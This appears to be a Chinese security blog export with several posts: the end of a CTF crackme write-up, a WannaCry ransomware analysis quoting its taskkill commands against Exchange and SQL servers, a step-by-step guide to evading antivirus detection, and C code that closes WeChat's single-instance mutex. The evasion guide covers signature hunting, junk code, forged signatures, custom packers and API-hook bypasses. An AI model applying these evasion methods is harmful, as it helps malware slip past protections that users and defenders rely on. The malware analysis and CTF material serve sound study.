[esp+414Ch+keyobj].text:004011E0 call f_keyobj_check2_4013E0 低位部分和key逆序(跳过比较那个字节) 1234567text:004011F6 lea edx, [esp+413Ch+keyobj1].text:004011FD push eax.text:004011FE push 1.text:00401200 push 0.text:00401202 push edx.text:00401203 lea ecx, [esp+414Ch+keyobj].text:0040120A call f_keyobj_check2_4013E0 感觉结果应该是这一个样子的: 11234567->1234567654321 //中间因为长度折腾了好久,后面查了才知道这是回文数,翻半天没有什么算法,脚本已经跑起来了 怎么求逆呢?算法不好,那就脚本跑吧! 3. 脚本跑1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253i = 11111111#while True: break is1 = str(i) is2_len = len(is1) is1 = is1[:is2_len-1] is2 = is1[::-1] k = i*9*9*i ks1 = '' ks = '' while True: #print i, k #break ks1 = str(k) lll = len(ks1)/2 if len(ks1) > 2*is2_len: #print 'long out - 1', i, len(ks1), 2*is2_len break if (is2_len + len(ks1))>1024: #print 'long out - 1', i, is2_len + len(ks1) break if (len(ks1)%2!=0) and (is1[0:1] == ks1[lll:lll+1]): print 'get -success1 > ', i, is1, k break if len(ks1)>1024: #print 'long out', i break k = k * i*9 ls2_len1 = is2_len-1 ks = ks1[:ls2_len1] if ((is1 == ks) and (is2 == ks1[(-1*ls2_len1):])): print 'get -success > ', i, is1, k print '' i += 1 if i % 10000000 == 0: print '...', i if i > 99999999999999999999: break 4. 总结结果最后跑出来是1get -success > 12345679 1234567 12345678987654321 因为代码中处理字符存为数值是倒着的,所以key应该是97654321 转载请注明出处:https://anhkgg.github.io/kxctf2017_writeup2","tags":[{"name":"ctf","slug":"ctf","permalink":"https://anhkgg.github.io/tags/ctf/"},{"name":"writeup","slug":"writeup","permalink":"https://anhkgg.github.io/tags/writeup/"},{"name":"看雪","slug":"看雪","permalink":"https://anhkgg.github.io/tags/看雪/"},{"name":"kanxue","slug":"kanxue","permalink":"https://anhkgg.github.io/tags/kanxue/"},{"name":"bbs.pediy.com","slug":"bbs-pediy-com","permalink":"https://anhkgg.github.io/tags/bbs-pediy-com/"},{"name":"crackme","slug":"crackme","permalink":"https://anhkgg.github.io/tags/crackme/"}]},{"title":"WannaCry深度详细分析报告","date":"2017-05-26T01:29:07.000Z","path":"wannacry-analyze-report/","text":"0x00. 前言最近,WannaCry是火了一把,到处都是分析文章,报告,解决方案等等。 趁着这个热度,我也来跟风一把。 前前后后把WannaCry详细分析了一遍。 从文件释放、启动加密器、文件加密策略、加密算法、到解密过程中所有细节进行了详尽深入的分析。 由于没有拿到初始样本,没有包含漏洞利用部分的分析。 样本信息: MD5: 84C82835A5D21BBCF75A61706D8AB549 SHA1: 5FF465AFAABCBF0150D1A3AB2C2E74F3A4426467 CRC32: 4022FCAA 无壳 / Visual C++ 6.0 下面具体看分析内容。 0x01. 概述 样本首先通过资源释放各种文件,包括加密器、解密器、几个辅助程序、桌面背景图、说明文件、语言文件等等。 内存加载加密器模块,执行加密部分功能。 枚举目标文件(目标文件后缀列表后面给出),加密为.WNCRY文件(加密策略后面详述),删除原始文件。 复制自身为tasksche.exe,安装启动项 启动解密器 大致流程图如图: 下面开始详细分析各个部分细节。 0x02. 释放文件设置当前目录为工作目录,然后查找PE中资源(XIA)。 直接用资源工具看一下,发现是PK开头的,多半是个压缩文件了,导出来试试。 解压还要密码,看代码密码是WNcry@2ol7,解压成功。 读取资源数据后,解压释放文件到当前目录。 123456789101112//部分释放文件说明:b.wnry //桌面背景图片c.wnry //加密相关msg/*.wnry //语言相关文件r.wnry //@Please_Read_Me@.txts.wnry //是压缩文件,打包的是Tor相关组件taskdl.exe //删除回收站文件taskse.exe //用于启动其他session的@WanaDecryptor@.exeu.wnry //@WanaDecryptor@.exe 解密器 t.wnry //解密后是加密器 在三个比特币交易地址中随机选择一个,写入c.wnry 然后设置当前目录为隐藏属性,且设置为everyone可访问 然后初始化Crypt相关函数,用于后面的解密操作。 开始操作文件t.wnry,看看内容,应该是个加密文件。 然后通过crypt API将t.wnry解密之后(解密后是个DLL模块,dump数据后可以用于分析),映射到内存(自己loaddll),然后找到导出接口函数TaskStart调用,开始加密工作。 0x03. 加密部分TaskStart一进来,通过MsWinZonesCacheCounterMutexA的Mutex进行单示例检查,有则退出,没有继续工作。 然后是设置工作目录,读取c.wnry信息。 检查是否是SYSTEM账户。 初始化Crypt相关函数,以及文件操作函数(增加一点分析成本)。 检查Global\\MsWinZonesCacheCounterMutexW,Global\\MsWinZonesCacheCounterMutexA\\0是否存在, 存在则表示加密相关准备工作已经完成,不在进行,没有则创建Global\\MsWinZonesCacheCounterMutexA\\0 检查00000000.dky和00000000.pky是否存在,存在是否配对的密钥,是则加密相关准备工作已经完成,不在进行,没有则进行后续工作。 如果加密相关准备工作已经完成,创建一个线程,完成如下工作(记为工作A): a). 如果不是管理员权限,并且不是SYSTEM账户,通过taskse.exe提权启动@WanaDecryptor@.exe,是则普通方式启动@WanaDecryptor@.exe b). 安装tasksche.exe启动项(注册表Run),键名随机 如果加密准备未完成,初始化密钥,保存到00000000.pky, 00000000.eky。 由于时间关系,具体加密密钥产生过程不再详述,很多分析文章说的很清楚了,本文重点不在此。 然后是如果00000000.res不存在,通过CryptGenRandom产生8字节随机值,后续会写入00000000.res 接着创建5个工作线程,完成不同的工作。 a). 线程1每隔25秒循环写入数据到00000000.res,包括前面CryptGenRandom生成的随机值,已经更新的当前时间,直到线程退出标记为真退出 b). 线程2每5秒检查00000000.dky和00000000.pky是否存在,存在是否配对的密钥,是则设置全局标志,然后退出线程 c). 线程3监测新增磁盘,加密新磁盘的文件(和其他磁盘加密相同) d). 线程4每30秒启动taskdl.exe清除所有磁盘的回收站文件 e). 线程5完成的也是前面提到的工作A的内容,不再详述 然后就是重点了,加密文件部分了。 加密文件部分拷贝u.wnry为@WanaDecryptor@.exe,通过写一个bat创建@WanaDecryptor@.exe.lnk快捷方式。 读取r.wnry内容,生成@Please_Read_Me@.txt文件。 枚举当前用户桌面和文档目录文件,进行加密(没有设置不复写标记,删除前会复写)。 枚举All Users\\Desktop和All Users\\Documents,找到非当前用户目录进行加密(没有设置不复写标记,删除前会复写)。 下面记为工作B: 通过taskkill强删Microsoft.Exchange、sql和mysql进程(加密其数据) anhkgg_CreateProc_10001080(aTaskkill_exeFI, 0, 0);// taskkill.exe /f /im Microsoft.Exchange.anhkgg_CreateProc_10001080(aTaskkill_exe_0, 0, 0);// taskkill.exe /f /im MSExchangeanhkgg_CreateProc_10001080(aTaskkill_exe_1, 0, 0);// ‘taskkill.exe /f /im sqlserver.exeanhkgg_CreateProc_10001080(aTaskkill_exe_2, 0, 0);// taskkill.exe /f /im sqlwriter.exeanhkgg_CreateProc_10001080(aTaskkill_exe_3, 0, 0);// taskkill.exe /f /im mysqld.exe 加密磁盘中文件,每个分区重复两次(会设置不复写标记,删除前不会复写)。 枚举All Users\\Desktop目录,复制b.wnry到目录中为@WanaDecryptor@.bmp,设置桌面背景为@WanaDecryptor@.bmp, 执行@WanaDecryptor@.exe co 更新00000000.res cmd.exe /c start /b @WanaDecryptor@.exe vs 每个磁盘(fixed)创建x:/$Recycle/hibsys.WNCRYT(系统盘写在temp目录,x:/$Recycle被设置为系统隐藏属性),读取分区可用空间大小,大于0x40000000(1GB)的话,每10微秒循环写入0xa00000个字节的’U’,写20次,然后删除该文件,并且设置了重启后删除。 每隔60s重复工作B,直到退出标志为真。 文件枚举枚举文件采用方式为: 枚举当前目录中所有文件(排除文件看下文),加入文件链表,记录所有子目录(排除目录看下文)到目录链表。 本目录文件有加密操作(具体看下文) 分析目录层级,少于等于6层的,拷贝lease_Read_Me@.txt到目录,5-6层的拷贝@WanaDecryptor@.exe.lnk,1-4层拷贝@WanaDecryptor@.exe到目录。 然后遍历目录链表,枚举子目录,重复1操作。 子目录枚举完成,所有文件记录到链表,进行后续操作。 目录和文件采用相同的链表结果,总结如下: 12345678910111213141516171819202122struct FILE_LIST_CONTEXT{ DWORD vtable; FILE_LIST *list;// DWORD file_count;//8}struct FILE_LIST{ FILE_LIST* prev; FILE_LIST* next; FILE_INFO file;//8}struct FILE_INFO{ WCHAR path[0x168];// WCHAR name[0x104];//2d0 DWORD nFileSizeLow;//4d8 DWORD nFileSizeHigh;//4dc DWORD type;//4e0 FILE_TYPE}//0x4e4 排除目录枚举子目录时,会跳过如下目录(保证系统正常工作): 12345678910\\Intel \\ProgramData\\WINDOWS\\Program Files\\Program Files (x86)\\AppData\\Local\\Temp\\Local Settings\\TempThis folder protects against ransomware. Modifying it will reduce protectionTemporary Internet FilesContent.IE5 文件分类枚举文件时,首先跳过 @Please_Read_Me@.txt,@WanaDecryptor@.exe.lnk, @WanaDecryptor@.bmp 然后检查文件类型,跳过0,1,6类型文件,其他文件加入链表。 具体类型如下: 1234567891011121314151617180 没有后缀以及其他类型后缀1 .exe, .dll4 .WNCRYT 5 .WNCYR6 .WNCRY2.".doc"".docx"".xls"".xlsx"".ppt"".pptx"".pst"".ost"".msg"".eml"".vsd"".vsdx"".txt"".csv"".rtf"".123"".wks"".wk1"".pdf"".dwg"".onetoc2"".snt"".jpeg"".jpg"3. ".docb"".docm"".dot"".dotm"".dotx"".xlsm"".xlsb"".xlw"".xlt"".xlm"".xlc"".xltx"".xltm"".pptm"".pot"".pps"".ppsm"".ppsx"".ppam"".potx"".potm"".edb"".hwp"".602"".sxi"".sti"".sldx"".sldm"".sldm"".vdi"".vmdk"".vmx"".gpg"".aes"".ARC"".PAQ"".bz2"".tbk"".bak"".tar"".tgz"".gz"".7z"".rar"".zip"".backup"".iso"".vcd"".bmp"".png"".gif"".raw"".cgm"".tif"".tiff"".nef"".psd"".ai"".svg"".djvu"".m4u"".m3u"".mid"".wma"".flv"".3g2"".mkv"".3gp"".mp4"".mov"".avi"".asf"".mpeg"".vob"".mpg"".wmv"".fla"".swf"".wav"".mp3"".sh"".class"".jar"".java"".rb"".asp"".php"".jsp"".brd"".sch"".dch"".dip"".pl"".vb"".vbs"".ps1"".bat"".cmd"".js"".asm"".h"".pas"".cpp"".c"".cs"".suo"".sln"".ldf"".mdf"".ibd"".myi"".myd"".frm"".odb"".dbf"".db"".mdb"".accdb"".sql"".sqlitedb"".sqlite3"".asc"".lay6"".lay"".mml"".sxm"".otg"".odg"".uop"".std"".sxd"".otp"".odp"".wb2"".slk"".dif"".stc"".sxc"".ots"".ods"".3dm"".max"".3ds"".uot"".stw"".sxw"".ott"".odt"".pem"".p12"".csr"".crt"".key"".pfx"".der" 总结为下面的enum 12345678910enum FILE_TYPE{ FILE_TYPE_NULL = 0, FILE_TYPE_EXEDLL, FILE_TYPE_DOC, FILE_TYPE_DOCEX, FILE_TYPE_WNCRYT, //.wncryt FILE_TYPE_WNCYR, //.wncyr FILE_TYPE_WNCRY //.wncry} 文件加密策略加密文件函数中有个参数,我取做cmd(取值是1-4)。因为不同的值会有不同的操作方式。 根据cmd和文件类型和大小等等,函数sub_10002E70返回不同的操作方式。 123456789101112131415161718191. cmd>=4, FOT_ENCRYPT_NORMAL_42. cmd<=3,FILE_TYPE_NULL,FOT_NULL_1 3. cmd==3, 非FILE_TYPE_NULL,FOT_ENCRYPT_NORMAL_44. cmd<=2, .wncyr, FOT_NULL_15. cmd<=2, .wncryt, FOT_DELETE_FILE_2//用于枚举中的操作,直接操作普通文件(不加入链表)和大文件.doc(加入链表),小文件.doc,.docex加入链表,其他文件不加入链表//枚举中完成加密操作的文件不加入链表了6. cmd==1, .doc, 大文件, FOT_ENCRYPT_WRITESRC_3 //也要加入链表7. cmd==1, .doc, 普通文件, FOT_ENCRYPT_NORMAL_48. cmd==1, .doc, 小文件,FOT_NULL_19. cmd==1, .docex, FOT_NULL_110. cmd==2, .doc, FOT_NULL_111. cmd==2, .docex, 大文件, FOT_ENCRYPT_WRITESRC_312. cmd==2, .docex, 小文件,FOT_NULL_113. cmd==2, .docex, 普通文件,FOT_ENCRYPT_NORMAL_4其他返回FOT_NULL_0 上面提到的大文件,普通文件,小文件定义如下: 1小于0x400的是小文件,大于0xC800000的是大文件,中间的是普通文件 上面提到的作方式具体定义如下:12345678//返回0表示未作处理,或者处理未完成,需要插入链表或者不从链表中删除enum FILE_OP_TYPE{ FOT_NULL_0 = 0, //0 未操作,返回1 FOT_NULL_1, //1,default 未操作,返回0 FOT_DELETE_FILE_2, //2 //删除文件,返回1 FOT_ENCRYPT_WRITESRC_3, //3 改源文件,返回0 FOT_ENCRYPT_NORMAL_4, //4 只加密,返回1} 代码如下: 对加密策略做一下总结:a). 在枚举文件中,cmd=1,会对普通文件直接加密为.WNCRY,不再加入链表,大文件处理为.WNCYR,以及其他未作处理文件继续加入链表等待处理。 b). 枚举完成后,cmd从2-4,每个cmd遍历都遍历加密文件。 cmd=2,加密FILE_TYPE_DOCEX普通文件为.WNCRY(移出链表),以及FILE_TYPE_DOCEX大文件为.WNCYR。 cmd=2, 删除.WNCRYT cmd=3, 加密链表中所有文件(移出链表) cmd=4, 加密可能剩余链表中的文件 文件内容加密过程验证文件是否未加密,或者未加密完成。已完成加密,直接退出。 对于FOT_ENCRYPT_WRITESRC_3,按写打开源文件,将文件头0x10000字节内容移动到尾部,头部内容清零,写入加密文件头部数据,然后源文件移动为.WNCYR,完成退出。 对于FOT_ENCRYPT_NORMAL_4,按读打开源文件,对于普通文件进行随机值检查,满足100倍数,且文件数据小于10,那么换本次加密算法为免费解密的算法,标记,加密完成后调用回调函数写入f.wnry中。 加密前,将文件后缀加上T变成.WNCRYT,然后创建文件。 写入加密文件头部数据 12345678910//加密文件头部数据结构struct { char magic[8];//WANACRY!' int size;//0x100 char key[size];// int type;//加密文件类型3,4 __int64 datasize;// <=0x6400000 源文件大小 char data[1];//} 对于.WNCYR文件(FOT_ENCRYPT_WRITESRC_3处理过一次),读取尾部0x10000的数据加密写入文件。 然后每0x1000读取加密,写入.WNCRYT文件,循环直到所有数据加密。移动.WNCRYT为.WNCRT。 对于FOT_ENCRYPT_NORMAL_4,加密完成后会将源文件加入删除链表,在删除线程中文件会被复写删除。 复写通过生成随机值或者一片’U’,循环写入文件,细节不再阐述(桌面我的文档目录文件目录会被复写,其他目录文件不会)。 总结至此,wannacry大部分内容都分析完成,由于时间精力的关系,后续解密器就不再分析了。最后说一句,现在这个时代不再适合裸奔!!! 转载请注明出处:https://anhkgg.github.io/wannacry-analyze-report","tags":[{"name":"wannacry","slug":"wannacry","permalink":"https://anhkgg.github.io/tags/wannacry/"},{"name":"比特币病毒","slug":"比特币病毒","permalink":"https://anhkgg.github.io/tags/比特币病毒/"},{"name":"逆向分析","slug":"逆向分析","permalink":"https://anhkgg.github.io/tags/逆向分析/"},{"name":"样本分析","slug":"样本分析","permalink":"https://anhkgg.github.io/tags/样本分析/"},{"name":"locky","slug":"locky","permalink":"https://anhkgg.github.io/tags/locky/"}]},{"title":"免杀技术有一套(免杀方法大集结)(Anti-AntiVirus)","date":"2017-05-22T00:07:45.000Z","path":"aanti-virus/","text":"00. 概述什么是免杀?来自百科的注解: 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。 有本比较有名的书,想详细学习的同学可以去看看。《黑客免杀攻防》 其实我大概好像只看过目录…( ╯□╰ ) 下面我介绍的是自己实践的一些方法,有没有效果,试试就知道了。 01. 简介免杀大概可以分为两种情况: 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。 免杀也可以分为这两种情况: 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。免杀方式可能是上面的两种方式,看情况。 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读。行为免杀如果没有源码就不是很好搞了。 下面就静态和动态免杀来详细说说免杀的技术。 02. 静态免杀对于静态免杀,针对的是杀毒软件的静态文件扫描,云查(病毒库)杀。 杀毒是提取文件一段特征码来识别病毒文件。 能识别一个程序是一个病毒的一段不大于64字节的特征串 那杀毒软件是怎么提取文件特征码的? 如果我们知道了一个文件是病毒,那么通过md5肯定可以判断一个就是这个病毒文件,那如果该病毒文件做了小小变动呢,直接md5肯定是不行了,那杀毒软件是怎么做的呢?这里有个叫做模糊哈希(Fuzzy Hashing)算法的东西。 模糊哈希算法又叫基于内容分割的分片分片哈希算法(context triggered piecewise hashing, CTPH),主要用于文件的相似性比较。 大致就可以理解为,不要把一个文件的所有内容都拿来计算hash,而通过分片,取出部分重要(不易改变)的内容进行hash计算,这样就能达到通过一个特征码找到类似的病毒变种。 关于模糊哈希更加详细的内容可以查看文章后面的参考文章,这里不再详述。 具体杀毒软件是不是通过这个算法来计算特征码的,我也不能完全肯定(纯猜测加网上一点点信息),但是根据免杀的经验可以总结出几点: 特征码会有多个串组合(减少误报) 代码数据(肯定有) 会解析PE,检查附加文件数据、PE文件的资源等等 1. 怎么找特征码工具查找常见的特征码定位工具有CCL、MYCCL。工具大致原理就是分割文件,某些分割部分填入数据(0),如果扫描该部分不报警,则特征码在这个部分。如此反复,直到找到很短的某一段内容。不同工具之前局别是使用的分割算法不同,查找特征码的效果不同。 目前比较常有名气的特征码定位器主要有CCL与MYCCL,他们都采用文件分块定位的办法,定位效果带有运气成份,且可能每次定位出的位置都不尽相同,这个免杀带来了困难。 后来出来了一款新的特征码定位软件VirTest。下面是作者自己的介绍: 我们可以这样假设报毒过程,如果检测文件是PE,如果在CODE位置存在 标志A,在DATA位置存在标志B,在资源位置存在标志C,同时满足这个3个条件,那么杀软就会报毒,VIRTEST工作原理就是要找到引起报毒最后一个标志,也就是假设中的标志C。 因此VIRTEST采用2分排除法,测试标志C所在文件中的位置,由于被杀的文件可能存在多个 类似于ABC这样的连锁条件,所以我们必须要通过一种排除机制,先要找最靠近文件前部的连锁条件,排除掉文件尾部数据,当找到第一个连锁条件后,抹掉引标志C,再恢复尾部数据, 然后继续测试另外的连锁条件,直到找到最后一个连锁条件,抹掉后,整个文件免杀了,则说明特征代码被定为完毕了,所以VIRTEST绝对可以精确的定位出所有的复合特征。这比文件分块定位法先进得多,更为科学。 工具查找肯定是针对二进制文件(有源码的也编译后在检查)。 具体用过MYCCL(使用方法自行查找),确实比手工分割文件定位方便,也可以找到某些文件的特征码,但是有些时候可能会出现非常多非常多…的被杀文件分割,然后…崩溃了。 后来也用了virtest,感觉作者说的挺有道理,应该挺好用吧。然后试了试,确实感觉比MYCCL高大上多了,也可以定位到特征码,但是tmd改了之后怎么还是报呢,反正你可能会折腾很久… 手工查找这里说的是针对有源码的(二进制就别想手工了…),方法非常简单。 mian中屏蔽所有代码,编译,扫描。不报的话继续2,如果依然报毒,去5。 放开一层(可以多层、二分也可以)函数,编译,扫描。不报的话,重复2。直到定位到某个函数或者多个函数,进入3。 在函数内部屏蔽部分代码(二分),编译,扫描。不报,重复2。 直到定位某段代码(无自定义内部调用),特征码在此。 是不是有附加数据,或者资源存储的文件。有,单独检查该文件或者数据,方法从1开始。如果没有,那去找找PE头吧。 大致流程: 123456781. sub1 //未报2. sub1 sub2 //未报3. sub1 sub2 sub3 //报4. sub1 sub2 sub3(sub31) //未报5. sub1 sub2 sub3(sub31 sub32) //报6. sub1 sub2 sub3(sub31 sub32(sub321)) //报...直到找到某API调用,或者逻辑代码(没有自定义函数调用) 此方法,虽然笨,但是定位特征码不会很慢,挺准确。 其他别找了,直接盲免杀吧(后面具体看,有效) 2. 怎么免杀?前面已经找到特征码了,怎么免杀呢? 其实前面已经说到了,找到特征码之后,只要改变这个特征码值得话就免杀成功。如果不需要软件正常运行,直接填零得了…开玩笑,这怎么可能。所以修改特征码还得保证软件正常功能。所以也是有讲究的。 常用的修改工具有,OD,C32ASM,UE,010Editor等等。 手工修改非源码1. 数据 如果特征码定位到数据(通过IDA/OD等确认),其实不好修改,稍微不慎就会导致程序不能运行,或者影响程序运行流程或结果。 字符串,如果不影响程序逻辑,可以替换大小写;如果无关紧要的数据,随意替换;等等,看情况而定。 整数,如果不影响结果,替换值,清零等等操作。 地址,基本应该不能修改,具体看情况。 PE头数据,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。 最后,终极修改方法,找到访问数据的代码,直接修改代码访问数据的地址,数据也可以放到其他地址了,其实就如同修改源码一样修改,肯定没有修改源码那么容易(见后)。 反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。 2. 代码 如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。 等价替换汇编代码,如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。 交换代码顺序,在不影响逻辑的情况下。 代码块移位,将代码块移动不用的内存位置,通过加入jmp addr跳过去执行,addr是新的代码块地址。 源码在有源码的情况下,修改的方式就更灵活了,更简单了。 如果特征码是数据,那么修改数据位置,访问数据的代码位置等(思想类比非源码方式)。 加花指令,这是最有效也是最常用的方式,要点在于如何加话指令。 加数据计算代码,加减乘除各类组合。 加字符串操作代码,增加、删除、查找、替换等。 加多层跳转,跳转间加无效指令(不会执行的)。 加貌似有效的API调用,如LoadLibrary+GetProcAddr+API等。 等等。 工具免杀(盲免杀)在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。 资源操作1. 加资源 使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件,如图片,版本信息,对话框等。 2. 替换资源 使用ResHacker替换无用的资源(Version等)。 3. 加签名 使用签名伪造工具,将正常软件的签名信息加入到自己软件中。 几种方式可以交替重复多次进行组合使用。 PE操作1. PE优化 使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。 2. 增加节 增加节数据,随意加入无效数据。 加壳可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。 通过加密器/压缩器将原始代码进行加密压缩,让其特征码变化隐藏,然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,将加密压缩内容解密解压,然后继续运行原始代码。 1. 加冷门壳 壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。 所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。 2. 加壳改壳 将常用壳进行修改,让壳特征变化,也可以是杀软失效。 比如修改入口,区段信息修改,入口代码移位。 可以类比为免杀壳,上面介绍的方法都可以使用。 03. 行为动态免杀杀毒软件现在都会有主防的功能,对恶意行为进行拦截提示。 比如这些行为: 注册表操作,添加启动项,添加服务 文件写入、读系统文件、删除文件,移动文件 杀进程,创建进程 注入、劫持等 行为拦截原理说白了,恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。 杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。 关键点: API 策略(顺序,调用源,参数等等) 所以后面的方法就是针对这两点做的工作。 如何进行行为免杀呢?下面介绍的方式对非源码、源码都有效,但是非源码修改起来非常非常麻烦… 1. 替换api 使用相同功能的API进行替换,杀软不可能拦截了所有API,所以这种方式还是有效的。比如MoveFileEx替换MoveFile。 2. 未导出api 寻找相同功能的未导出API进行替换,杀软拦截一般是导出API,或者底层调用,寻找未导出API有一定效果。 寻找方法,通过分析目标API内部调用,找到内部一个或多个未导出API,来完成相同功能。 3. 重写api 完全重写系统API功能(通过逆向),实现自己的对应功能API,对于ring3的行为拦截非常有效。比如实现MoveFile等。 4. api+5 ring3的API拦截通过是挂钩API头几个字节内容,然后进入杀软自己函数进行参数检查之类的。 那么如果调用API时,跳过头部几字节,就可以避开这种拦截方式。 12345__API:1 push ebp;2 mov ebp, esp;3 mov edi, edi;4 ... 调用时,不适用1地址,而使用4地址,然后自己函数内部还原跳过几字节的调用。 12345__API_MY:push ebp;mov ebp, esp;mov edi, edi;call 4 5. 底层api 该方法类似于2和3,杀软拦截API可能更加高层(语义更清楚),那就可以找更底层API进行调用,绕过拦截,比如使用NT函数。 或者通过DeviceIoControl调用驱动功能来完成API功能。 模拟系统调用。 6. 合理替换调用顺序 有时拦截行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软拦截策略,也可以绕过改行为拦截。 比如,先创建服务,再将服务对应文件拷贝过去。 7. 绕过调用源 通过调用其它进行功能来完成API的功能。比较经典的如,通过rundll32.exe来完成dll加载,通过COM来操作文件等等。 总结方法大概就总结到这,要更好的完成免杀,需要各种方式进行合理灵活组合变化,或者挖掘更多的方法。 注意/技巧 非源码修改时,通过OD能够更好的完成,配合IDA进行观察,具体参考OD/IDA使用教程。 源码免杀加花,要灵活多变,不拘于形式。 行为免杀多尝试,猜出杀软拦截策略,能够更有效的找到绕过方式。 道高一尺,魔高一丈 各路大神有更多的技巧和方式,请不吝赐教,相互交流。 我们不做坏事,但是可以了解做坏事的手段,更好的破坏防御这些手段。 参考 模糊哈希算法的原理与应用 VirTest5.0特征码定位器(开源) http://baike.baidu.com/link?url=ExY1OF52Md1Lk6G_WMZQf4fdswE2RSjuhPmXEYRwgVhkSIb-udf0AhK1cqbhmnDsnf21pUJSvHEWnMoxwZfZ5asnxw0W76Ew9t5ZIJRbLxO 转载请注明出处:https://anhkgg.github.io/aanti-virus","tags":[{"name":"Anti-AntiVirus","slug":"Anti-AntiVirus","permalink":"https://anhkgg.github.io/tags/Anti-AntiVirus/"},{"name":"免杀","slug":"免杀","permalink":"https://anhkgg.github.io/tags/免杀/"},{"name":"AntiVirus","slug":"AntiVirus","permalink":"https://anhkgg.github.io/tags/AntiVirus/"},{"name":"杀毒软件","slug":"杀毒软件","permalink":"https://anhkgg.github.io/tags/杀毒软件/"}]},{"title":"微信(WeChat)电脑端多开研究+源码","date":"2017-05-14T07:07:51.000Z","path":"wechat-multi-pc/","text":"0x00 前言不知道大家有没有多个微信号,我反正有一两三个。 现在电脑端微信使用频率也比较高,主要用于大文件传输,或者手机电脑文件互传等等,除了不能收红包和看朋友圈,貌似电脑端没其他毛病。 哦,还有个毛病,只能开一个微信,只能开一个,开一个,一个… 不管这些有的没的,今天的主题是,怎么样在电脑上开多个微信客户端! 0x01 分析了解过单实例的同学,应该都知道大概是怎么实现的单开。 简单说下,大都通过判断Mutex、Event、File等等是否已经存在,存在则退出当前开启进程(说明已经有一个进程了),这样也就是单实例了。 那只要找到微信是通过什么标志来实现单实例的,然后干掉这个标志即可。 然后…基于这个思路,我们上工具。 使用procexp找到微信进程,然后翻了一遍句柄。 找到疑是的一段句柄。 12\\Sessions\\1\\BaseNamedObjects\\_WeChat_App_Instance_Identity_Mutex_Name\\Sessions\\1\\BaseNamedObjects\\WeChat_GlobalConfig_Multi_Process_Mutex 感觉这两个都像,不管了,上pchunter,kill掉句柄试一下。 经过尝试,发现_WeChat_App_Instance_Identity_Mutex_Name是单实例标志(kill句柄后可以开第二个客户端),WeChat_GlobalConfig_Multi_Process_Mutex没用。 既然如此,那开始码代码吧。 0x02 代码可能的方案: 找微信判断标识的代码位置,然后直接patch掉,或者整个dll进去patch。然后大致去翻了一下,貌似代码在wechatwin.dll,然后加了vmp壳,所以就不折腾这个了。 直接通过代码kill掉这个Mutex的句柄(类似Pchunter操作),然后就可以开启第二个实例了,貌似明显更有优势啊。 额,如果觉得无所谓,每次开之前用pchunter关一次句柄也行,下面就不用看了… 这里选择第二个方案,开始代码。 流程: 枚举句柄,找到_WeChat_App_Instance_Identity_Mutex_Name的mutant duplicate句柄到本进程,然后close 启动微信 下面是主要代码: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546//步骤1和2的代码//获取到微信所有进程句柄DWORD Num = GetProcIds(L"WeChat.exe", Pids);...Status = ZwQuerySystemInformation(SystemHandleInformation, pbuffer, 0x1000, &dwSize);PSYSTEM_HANDLE_INFORMATION1 pHandleInfo = (PSYSTEM_HANDLE_INFORMATION1)pbuffer; for(nIndex = 0; nIndex < pHandleInfo->NumberOfHandles; nIndex++) { //句柄在Pids中,就是微信进程的句柄信息 if(IsTargetPid(pHandleInfo->Handles[nIndex].UniqueProcessId, Pids, Num)) { HANDLE hHandle = DuplicateHandleEx(pHandleInfo->Handles[nIndex].UniqueProcessId, (HANDLE)pHandleInfo->Handles[nIndex].HandleValue, DUPLICATE_SAME_ACCESS ); //对象名 Status = NtQueryObject(hHandle, ObjectNameInformation, szName, 512, &dwFlags); //对象类型名 Status = NtQueryObject(hHandle, ObjectTypeInformation, szType, 128, &dwFlags); //找到微信的标志 if (0 == wcscmp(TypName, L"Mutant")) { if (wcsstr(Name, L"_WeChat_App_Instance_Identity_Mutex_Name")) { //DUPLICATE_CLOSE_SOURCE标志很重要,不明白的查一查 hHandle = DuplicateHandleEx(pHandleInfo->Handles[nIndex].UniqueProcessId, (HANDLE)pHandleInfo->Handles[nIndex].HandleValue, DUPLICATE_CLOSE_SOURCE ); if(hHandle) { printf("+ Patch wechat success!\\n"); CloseHandle(hHandle); } } } } }} 1234567891011121314151617181920步骤3的代码//通过注册表找到微信安装目录if(ERROR_SUCCESS != RegOpenKey(HKEY_CURRENT_USER, L"Software\\\\Tencent\\\\WeChat", &hKey)){ return;}DWORD Type = REG_SZ;WCHAR Path[MAX_PATH] = {0};DWORD cbData = MAX_PATH*sizeof(WCHAR);if(ERROR_SUCCESS != RegQueryValueEx(hKey, L"InstallPath", 0, &Type, (LPBYTE)Path, &cbData)){ goto __exit;}PathAppend(Path, L"WeChat.exe");//启动微信客户端ShellExecute(NULL, L"Open", Path, NULL, NULL, SW_SHOW); 代码就这样,有注释,就不再啰嗦。 完整代码,请看后面的地址。 0x03 总结一个小玩意,供大家一笑。 编译好的可执行文件: https://github.com/anhkgg/multi_wechat_pc/raw/master/WeChat%E5%A4%9A%E5%BC%80.exe 源码地址: https://github.com/anhkgg/multi_wechat_pc 博客原文: https://anhkgg.github.io/wechat-multi-pc 